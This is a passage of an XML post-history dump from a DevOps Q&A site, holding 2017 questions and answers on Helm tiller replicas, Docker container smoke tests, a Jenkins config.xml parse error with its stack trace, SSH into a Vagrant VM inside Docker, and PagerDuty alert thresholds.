ContentLicense="CC BY-SA 3.0" />
  <row Id="6916" PostHistoryTypeId="50" PostId="1038" RevisionGUID="836a4144-01c2-4204-ac9f-0c76711460f7" CreationDate="2017-09-30T21:56:04.910" UserId="-1" />
  <row Id="6917" PostHistoryTypeId="50" PostId="1637" RevisionGUID="86c70cf5-e924-46c9-9dc0-4d13d1c4b516" CreationDate="2017-10-01T01:56:06.977" UserId="-1" />
  <row Id="6918" PostHistoryTypeId="50" PostId="1640" RevisionGUID="7fc2b693-a9aa-43d4-b5e2-d84f5a9de5a0" CreationDate="2017-10-01T04:56:07.950" UserId="-1" />
  <row Id="6919" PostHistoryTypeId="50" PostId="1605" RevisionGUID="97fca053-0a15-4761-8ec2-0890bcf0879c" CreationDate="2017-10-01T05:56:07.037" UserId="-1" />
  <row Id="6920" PostHistoryTypeId="2" PostId="2206" RevisionGUID="81c5e0e5-f69d-4512-b5ca-dba7a1cdc81d" CreationDate="2017-10-01T11:16:37.550" UserId="3531" Text="I'm using [helm][1] to deploy my services to a Kubernetes cluster.  &#xD;&#xA;I want to improve the service availability of my tiller pod. So I scaled the tiller deployment to 2 replicas.  &#xD;&#xA;Helm is working as before with no issues that might be related to this.&#xD;&#xA;&#xD;&#xA;Does anyone have an idea why this might NOT be a good idea to increase reliability of helm and tiller?&#xD;&#xA;&#xD;&#xA;  [1]: https://helm.sh/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6921" PostHistoryTypeId="1" PostId="2206" RevisionGUID="81c5e0e5-f69d-4512-b5ca-dba7a1cdc81d" CreationDate="2017-10-01T11:16:37.550" UserId="3531" Text="Kubernetes helm - highly available tiller" ContentLicense="CC BY-SA 3.0" />
  <row Id="6922" PostHistoryTypeId="3" PostId="2206" RevisionGUID="81c5e0e5-f69d-4512-b5ca-dba7a1cdc81d" CreationDate="2017-10-01T11:16:37.550" UserId="3531" Text="&lt;kubernetes&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6923" PostHistoryTypeId="50" PostId="1410" RevisionGUID="4ae2cbbe-8e1b-4eea-bd85-a639a28212cf" CreationDate="2017-10-01T13:16:52.730" UserId="-1" />
  <row Id="6924" PostHistoryTypeId="2" PostId="2207" RevisionGUID="2d48abad-58ea-4da0-bec4-0df3b1861015" CreationDate="2017-10-01T13:20:14.653" UserId="4570" Text="In my project i am building about 200 containers I want to check in a  smoke test if the containers are still running after a rebuild in pipeline.&#xD;&#xA;&#xD;&#xA;I want to  bring up the container with certain parameters and check if it is responding on ports (service being up), or run simple test inside the container.&#xD;&#xA;Best would be to use docker-compose for starting containers, so that paramateres can easily be configured.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Example for a nginx container&#xD;&#xA;&#xD;&#xA; 1. run  &quot;nginx -t&quot; inside the container to check if the container still has a valid configuration file&#xD;&#xA; 2. check if nginx  is exposing services on port 80 and 443 &#xD;&#xA;&#xD;&#xA;Similar for other containers, main topic is checking ports for rest services. After bringing up the container(s), the tests should be run and then the whole thing shoudl be shutdown again.&#xD;&#xA;&#xD;&#xA;What is the best tool for doing such a thing automated - and not writing everything manually?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6925" PostHistoryTypeId="1" PostId="2207" RevisionGUID="2d48abad-58ea-4da0-bec4-0df3b1861015" CreationDate="2017-10-01T13:20:14.653" UserId="4570" Text="Best tool for Docker Container test automation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6926" PostHistoryTypeId="3" PostId="2207" RevisionGUID="2d48abad-58ea-4da0-bec4-0df3b1861015" CreationDate="2017-10-01T13:20:14.653" UserId="4570" Text="&lt;docker&gt;&lt;continuous-integration&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6927" PostHistoryTypeId="50" PostId="1129" RevisionGUID="a68856cf-616d-468c-b4d2-ec6eb72ad933" CreationDate="2017-10-01T16:16:51.693" UserId="-1" />
  <row Id="6929" PostHistoryTypeId="2" PostId="2209" RevisionGUID="0a29acce-add5-4074-bd3d-8dfca7030de4" CreationDate="2017-10-01T22:41:19.363" UserId="3623" Text="java.io.EOFException: no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;	at org.xmlpull.mxp1.MXParser.fillBuf(MXParser.java:3035)&#xD;&#xA;	at org.xmlpull.mxp1.MXParser.more(MXParser.java:3046)&#xD;&#xA;	at org.xmlpull.mxp1.MXParser.nextImpl(MXParser.java:1384)&#xD;&#xA;	at org.xmlpull.mxp1.MXParser.next(MXParser.java:1093)&#xD;&#xA;	at com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:109)&#xD;&#xA;Caused: com.thoughtworks.xstream.io.StreamException:  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;	at com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)&#xD;&#xA;	at com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)&#xD;&#xA;	at com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:135)&#xD;&#xA;	at com.thoughtworks.xstream.io.xml.AbstractPullReader.hasMoreChildren(AbstractPullReader.java:87)&#xD;&#xA;	at com.thoughtworks.xstream.io.ReaderWrapper.hasMoreChildren(ReaderWrapper.java:32)&#xD;&#xA;	at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:309)&#xD;&#xA;	at hudson.util.RobustReflectionConverter.unmarshal(RobustReflectionConverter.java:270)&#xD;&#xA;	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)&#xD;&#xA;Caused: com.thoughtworks.xstream.converters.ConversionException:  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1 :  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;---- Debugging information ----&#xD;&#xA;message             :  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;cause-exception     : com.thoughtworks.xstream.io.StreamException&#xD;&#xA;cause-message       :  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;class               : hudson.model.Hudson&#xD;&#xA;required-type       : hudson.model.Hudson&#xD;&#xA;converter-type      : hudson.util.RobustReflectionConverter&#xD;&#xA;path                : /hudson&#xD;&#xA;line number         : 42&#xD;&#xA;version             : not available&#xD;&#xA;-------------------------------&#xD;&#xA;	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)&#xD;&#xA;	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)&#xD;&#xA;	at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)&#xD;&#xA;	at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)&#xD;&#xA;	at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)&#xD;&#xA;	at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)&#xD;&#xA;	at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1189)&#xD;&#xA;	at hudson.util.XStream2.unmarshal(XStream2.java:114)&#xD;&#xA;	at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1173)&#xD;&#xA;	at hudson.XmlFile.unmarshal(XmlFile.java:160)&#xD;&#xA;Caused: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;	at hudson.XmlFile.unmarshal(XmlFile.java:162)&#xD;&#xA;	at jenkins.model.Jenkins.loadConfig(Jenkins.java:3078)&#xD;&#xA;	at jenkins.model.Jenkins.access$1200(Jenkins.java:307)&#xD;&#xA;	at jenkins.model.Jenkins$16.run(Jenkins.java:3096)&#xD;&#xA;	at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:282)&#xD;&#xA;	at jenkins.model.Jenkins$7.runTask(Jenkins.java:1090)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:210)&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;Caused: org.jvnet.hudson.reactor.ReactorException&#xD;&#xA;	at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:269)&#xD;&#xA;	at jenkins.InitReactorRunner.run(InitReactorRunner.java:47)&#xD;&#xA;	at jenkins.model.Jenkins.executeReactor(Jenkins.java:1124)&#xD;&#xA;	at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:929)&#xD;&#xA;	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:86)&#xD;&#xA;	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:82)&#xD;&#xA;	at hudson.WebAppMain$3.run(WebAppMain.java:235)&#xD;&#xA;Caused: hudson.util.HudsonFailedToLoad&#xD;&#xA;	at hudson.WebAppMain$3.run(WebAppMain.java:252)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6930" PostHistoryTypeId="1" PostId="2209" RevisionGUID="0a29acce-add5-4074-bd3d-8dfca7030de4" CreationDate="2017-10-01T22:41:19.363" UserId="3623" Text="jenkins issue Unable to read config.xml" ContentLicense="CC BY-SA 3.0" />
  <row Id="6931" PostHistoryTypeId="3" PostId="2209" RevisionGUID="0a29acce-add5-4074-bd3d-8dfca7030de4" CreationDate="2017-10-01T22:41:19.363" UserId="3623" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6932" PostHistoryTypeId="2" PostId="2210" RevisionGUID="533ea447-b84e-4cf9-929f-a18d72394e74" CreationDate="2017-10-02T00:07:01.413" UserId="739" Text="It looks like your XML tags aren't balanced.  You should run your config file through an XML validator to see what's wrong with it if you can't spot it by eye." ContentLicense="CC BY-SA 3.0" />
  <row Id="6933" PostHistoryTypeId="5" PostId="2209" RevisionGUID="bc870b8f-a68f-451c-bb2a-fd900d490037" CreationDate="2017-10-02T02:08:09.293" UserId="739" Comment="formatting" Text="    java.io.EOFException: no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.fillBuf(MXParser.java:3035)&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.more(MXParser.java:3046)&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.nextImpl(MXParser.java:1384)&#xD;&#xA;    	at org.xmlpull.mxp1.MXParser.next(MXParser.java:1093)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:109)&#xD;&#xA;    Caused: com.thoughtworks.xstream.io.StreamException:  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:135)&#xD;&#xA;    	at com.thoughtworks.xstream.io.xml.AbstractPullReader.hasMoreChildren(AbstractPullReader.java:87)&#xD;&#xA;    	at com.thoughtworks.xstream.io.ReaderWrapper.hasMoreChildren(ReaderWrapper.java:32)&#xD;&#xA;    	at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:309)&#xD;&#xA;    	at hudson.util.RobustReflectionConverter.unmarshal(RobustReflectionConverter.java:270)&#xD;&#xA;    	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)&#xD;&#xA;    Caused: com.thoughtworks.xstream.converters.ConversionException:  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1 :  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;    ---- Debugging information ----&#xD;&#xA;    message             :  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;    cause-exception     : com.thoughtworks.xstream.io.StreamException&#xD;&#xA;    cause-message       :  : no more data available - expected end tag &lt;/hudson&gt; to close start tag &lt;hudson&gt; from line 2, parser stopped on END_TAG seen ...&lt;globalNodeProperties/&gt;\n\n... @42:1&#xD;&#xA;    class               : hudson.model.Hudson&#xD;&#xA;    required-type       : hudson.model.Hudson&#xD;&#xA;    converter-type      : hudson.util.RobustReflectionConverter&#xD;&#xA;    path                : /hudson&#xD;&#xA;    line number         : 42&#xD;&#xA;    version             : not available&#xD;&#xA;    -------------------------------&#xD;&#xA;    	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:79)&#xD;&#xA;    	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)&#xD;&#xA;    	at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)&#xD;&#xA;    	at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)&#xD;&#xA;    	at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)&#xD;&#xA;    	at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)&#xD;&#xA;    	at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1189)&#xD;&#xA;    	at hudson.util.XStream2.unmarshal(XStream2.java:114)&#xD;&#xA;    	at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1173)&#xD;&#xA;    	at hudson.XmlFile.unmarshal(XmlFile.java:160)&#xD;&#xA;    Caused: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;    	at hudson.XmlFile.unmarshal(XmlFile.java:162)&#xD;&#xA;    	at jenkins.model.Jenkins.loadConfig(Jenkins.java:3078)&#xD;&#xA;    	at jenkins.model.Jenkins.access$1200(Jenkins.java:307)&#xD;&#xA;    	at jenkins.model.Jenkins$16.run(Jenkins.java:3096)&#xD;&#xA;    	at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:282)&#xD;&#xA;    	at jenkins.model.Jenkins$7.runTask(Jenkins.java:1090)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:210)&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;    Caused: org.jvnet.hudson.reactor.ReactorException&#xD;&#xA;    	at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:269)&#xD;&#xA;    	at jenkins.InitReactorRunner.run(InitReactorRunner.java:47)&#xD;&#xA;    	at jenkins.model.Jenkins.executeReactor(Jenkins.java:1124)&#xD;&#xA;    	at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:929)&#xD;&#xA;    	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:86)&#xD;&#xA;    	at hudson.model.Hudson.&lt;init&gt;(Hudson.java:82)&#xD;&#xA;    	at hudson.WebAppMain$3.run(WebAppMain.java:235)&#xD;&#xA;    Caused: hudson.util.HudsonFailedToLoad&#xD;&#xA;    	at hudson.WebAppMain$3.run(WebAppMain.java:252)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6934" PostHistoryTypeId="24" PostId="2209" RevisionGUID="bc870b8f-a68f-451c-bb2a-fd900d490037" CreationDate="2017-10-02T02:08:09.293" Comment="Proposed by 739 approved by 707, 47 edit id of 467" ContentLicense="CC BY-SA 3.0" />
  <row Id="6935" PostHistoryTypeId="33" PostId="2027" RevisionGUID="ab84b5b5-9d18-4c2c-aa7f-ab7755693917" CreationDate="2017-10-02T07:48:32.260" UserId="4343" Comment="9" />
  <row Id="6936" PostHistoryTypeId="2" PostId="2211" RevisionGUID="e5bd44aa-a2a5-453c-a4cb-c65405066dd1" CreationDate="2017-10-02T09:31:41.833" UserId="210" Text="Running two tillers does not make it HA. There is [an open issue][1] at the moment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/helm/issues/2334" ContentLicense="CC BY-SA 3.0" />
  <row Id="6937" PostHistoryTypeId="2" PostId="2212" RevisionGUID="5fa9c6a2-a055-45aa-a826-cf297bdfc8e2" CreationDate="2017-10-02T09:48:41.873" UserId="3899" Text="I have a Docker image based on Ubuntu Xenial. Inside that container I try to start FreeBSD VM by using Vagrant and VirtualBox (Note: host OS for Docker is VM based on Vagrant and VirtualBox). VM is being provisioned fine, however, Vagrant can not ssh there. I also tried ssh with debug within container: &#xD;&#xA;&#xD;&#xA;    # ssh -vvv -p 2222 vagrant@127.0.0.1&#xD;&#xA;    OpenSSH_7.2p2 Ubuntu-4ubuntu2.2, OpenSSL 1.0.2g  1 Mar 2016&#xD;&#xA;    debug1: Reading configuration data /etc/ssh/ssh_config&#xD;&#xA;    debug1: /etc/ssh/ssh_config line 19: Applying options for *&#xD;&#xA;    debug2: resolving &quot;127.0.0.1&quot; port 2222&#xD;&#xA;    debug2: ssh_connect_direct: needpriv 0&#xD;&#xA;    debug1: Connecting to 127.0.0.1 [127.0.0.1] port 2222.&#xD;&#xA;    debug1: Connection established.&#xD;&#xA;    debug1: permanently_set_uid: 0/0&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_rsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_rsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_dsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_dsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ecdsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ecdsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ed25519 type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ed25519-cert type -1&#xD;&#xA;    debug1: Enabling compatibility mode for protocol 2.0&#xD;&#xA;    debug1: Local version string SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2&#xD;&#xA;    ssh_exchange_identification: read: Connection reset by peer&#xD;&#xA;&#xD;&#xA;The same from host OS: # ssh -p 1111 vagrant@127.0.0.1&#xD;&#xA;ssh_exchange_identification: read: Connection reset by peer&#xD;&#xA;&#xD;&#xA;I run container with the next parameters:&#xD;&#xA;docker run --privileged -v /dev:/dev -p 1111:2222 vm:latest&#xD;&#xA;I tried to run lightweight image like it was described [here][1] and everything started successfully. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/zoobab/vagrant-inside-docker&#xD;&#xA;&#xD;&#xA;Any suggestions/ideas regarding it?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6938" PostHistoryTypeId="1" PostId="2212" RevisionGUID="5fa9c6a2-a055-45aa-a826-cf297bdfc8e2" CreationDate="2017-10-02T09:48:41.873" UserId="3899" Text="SSH to VM inside Docker container" ContentLicense="CC BY-SA 3.0" />
  <row Id="6939" PostHistoryTypeId="3" PostId="2212" RevisionGUID="5fa9c6a2-a055-45aa-a826-cf297bdfc8e2" CreationDate="2017-10-02T09:48:41.873" UserId="3899" Text="&lt;docker&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6940" PostHistoryTypeId="2" PostId="2213" RevisionGUID="88e768a3-4967-4c82-845f-1676e5380753" CreationDate="2017-10-02T11:38:23.547" UserId="4573" Text="There would be many reason for it. If you are writing/updating JENKINS_HOME/config.xml, then possibility of syntax error may be  on config.xml. So you can recover it by  following steps &#xD;&#xA;&#xD;&#xA;Step 1: stop jenkins service&#xD;&#xA;&#xD;&#xA;cmd&gt; service jenkins stop&#xD;&#xA;&#xD;&#xA;step 2: mv JENKINS_HOME/config.xml  to another file for backup &#xD;&#xA;&#xD;&#xA;cmd&gt; mv JENKINS_HOME/config.xml JENKINS_HOME/config.xml_bak&#xD;&#xA;&#xD;&#xA;step 3: start jenkins service &#xD;&#xA;&#xD;&#xA;cmd&gt; service jenkins start&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6941" PostHistoryTypeId="10" PostId="2209" RevisionGUID="64ce2c0e-0e48-429e-b667-e841ae784195" CreationDate="2017-10-02T12:42:14.167" UserId="13" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="6942" PostHistoryTypeId="2" PostId="2214" RevisionGUID="b792c6da-5dfe-419d-9491-1b91b7c5ec48" CreationDate="2017-10-02T12:46:05.627" UserId="3899" Text="It looks like issue with ssh timeout is related to nested visualization restrictions. Thus, despite of enabling visualization in BIOS VM in container will still not be provisioned. I found similar answer [here][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://superuser.com/questions/1121843/ssh-vagrant-not-working-inside-virtual-box-vm&#xD;&#xA;Once I started Docker container on host OS, issue has gone away and VM successfully provisioned. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6943" PostHistoryTypeId="5" PostId="2212" RevisionGUID="fead2c28-d5d9-4040-a18a-f832958361cc" CreationDate="2017-10-02T13:40:57.510" UserId="3" Comment="Improves post formatting." Text="I have a Docker image based on Ubuntu Xenial. Inside that container I try to start FreeBSD VM by using Vagrant and VirtualBox (Note: host OS for Docker is VM based on Vagrant and VirtualBox). VM is being provisioned fine, however, Vagrant can not ssh there. I also tried ssh with debug within container: &#xD;&#xA;&#xD;&#xA;    # ssh -vvv -p 2222 vagrant@127.0.0.1&#xD;&#xA;    OpenSSH_7.2p2 Ubuntu-4ubuntu2.2, OpenSSL 1.0.2g  1 Mar 2016&#xD;&#xA;    debug1: Reading configuration data /etc/ssh/ssh_config&#xD;&#xA;    debug1: /etc/ssh/ssh_config line 19: Applying options for *&#xD;&#xA;    debug2: resolving &quot;127.0.0.1&quot; port 2222&#xD;&#xA;    debug2: ssh_connect_direct: needpriv 0&#xD;&#xA;    debug1: Connecting to 127.0.0.1 [127.0.0.1] port 2222.&#xD;&#xA;    debug1: Connection established.&#xD;&#xA;    debug1: permanently_set_uid: 0/0&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_rsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_rsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_dsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_dsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ecdsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ecdsa-cert type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ed25519 type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file /root/.ssh/id_ed25519-cert type -1&#xD;&#xA;    debug1: Enabling compatibility mode for protocol 2.0&#xD;&#xA;    debug1: Local version string SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2&#xD;&#xA;    ssh_exchange_identification: read: Connection reset by peer&#xD;&#xA;&#xD;&#xA;The same from host OS:&#xD;&#xA;&#xD;&#xA;    # ssh -p 1111 vagrant@127.0.0.1&#xD;&#xA;    ssh_exchange_identification: read: Connection reset by peer&#xD;&#xA;&#xD;&#xA;I run container with the next parameters:&#xD;&#xA;&#xD;&#xA;    docker run --privileged -v /dev:/dev -p 1111:2222 vm:latest&#xD;&#xA;&#xD;&#xA;I tried to run lightweight image like it was described [here][1] and everything started successfully. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/zoobab/vagrant-inside-docker&#xD;&#xA;&#xD;&#xA;Any suggestions/ideas regarding it?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6944" PostHistoryTypeId="5" PostId="2213" RevisionGUID="7b0c1da3-e267-4fbd-a8fb-f29023c9d9be" CreationDate="2017-10-02T13:51:39.953" UserId="4289" Comment="Improved formatting" Text="There would be many reason for it. If you are writing/updating `JENKINS_HOME/config.xml`, then the possibility of a syntax error may be in `config.xml`. So you can recover it with the following steps:&#xD;&#xA;&#xD;&#xA;Step 1: Stop jenkins service&#xD;&#xA;&#xD;&#xA;    cmd&gt; service jenkins stop&#xD;&#xA;&#xD;&#xA;step 2: `mv JENKINS_HOME/config.xml`  to another file for backup &#xD;&#xA;&#xD;&#xA;    cmd&gt; mv JENKINS_HOME/config.xml JENKINS_HOME/config.xml_bak&#xD;&#xA;&#xD;&#xA;step 3: Start jenkins service &#xD;&#xA;&#xD;&#xA;    cmd&gt; service jenkins start&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6945" PostHistoryTypeId="24" PostId="2213" RevisionGUID="7b0c1da3-e267-4fbd-a8fb-f29023c9d9be" CreationDate="2017-10-02T13:51:39.953" Comment="Proposed by 4289 approved by 3, 40 edit id of 468" ContentLicense="CC BY-SA 3.0" />
  <row Id="6946" PostHistoryTypeId="2" PostId="2215" RevisionGUID="28b8d771-bf5d-460f-acce-b58b03c47e9d" CreationDate="2017-10-02T14:41:31.740" UserId="4577" Text="Is it possible to only have an alert triggered after a certain number of incidents from an integration?&#xD;&#xA;&#xD;&#xA;For example, if my application reports a single non-critical failure of a kind, that's worth-while to troubleshoot, but probably not so bad as to wake up somebody in the middle of the night.&#xD;&#xA;&#xD;&#xA;However, if the application is reporting the same failure over and over again, it's a symptom of a bigger problem that somebody should look at ASAP.&#xD;&#xA;&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6947" PostHistoryTypeId="1" PostId="2215" RevisionGUID="28b8d771-bf5d-460f-acce-b58b03c47e9d" CreationDate="2017-10-02T14:41:31.740" UserId="4577" Text="Trigger PagerDuty alert after a number of incidents" ContentLicense="CC BY-SA 3.0" />
  <row Id="6948" PostHistoryTypeId="3" PostId="2215" RevisionGUID="28b8d771-bf5d-460f-acce-b58b03c47e9d" CreationDate="2017-10-02T14:41:31.740" UserId="4577" Text="&lt;monitoring&gt;&lt;pagerduty&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6949" PostHistoryTypeId="2" PostId="2216" RevisionGUID="7163953f-beb7-4b7b-a42f-cd81d5510a97" CreationDate="2017-10-02T14:48:19.437" UserId="210" Text="One could run Jenkins on MacOS.&#xD;&#xA;&#xD;&#xA;https://medium.com/@dixitakansha15/continuous-integration-in-ios-using-jenkins-8e081753cc72&#xD;&#xA;&#xD;&#xA;https://savvyapps.com/blog/continuous-integration-ios-jenkins" ContentLicense="CC BY-SA 3.0" />
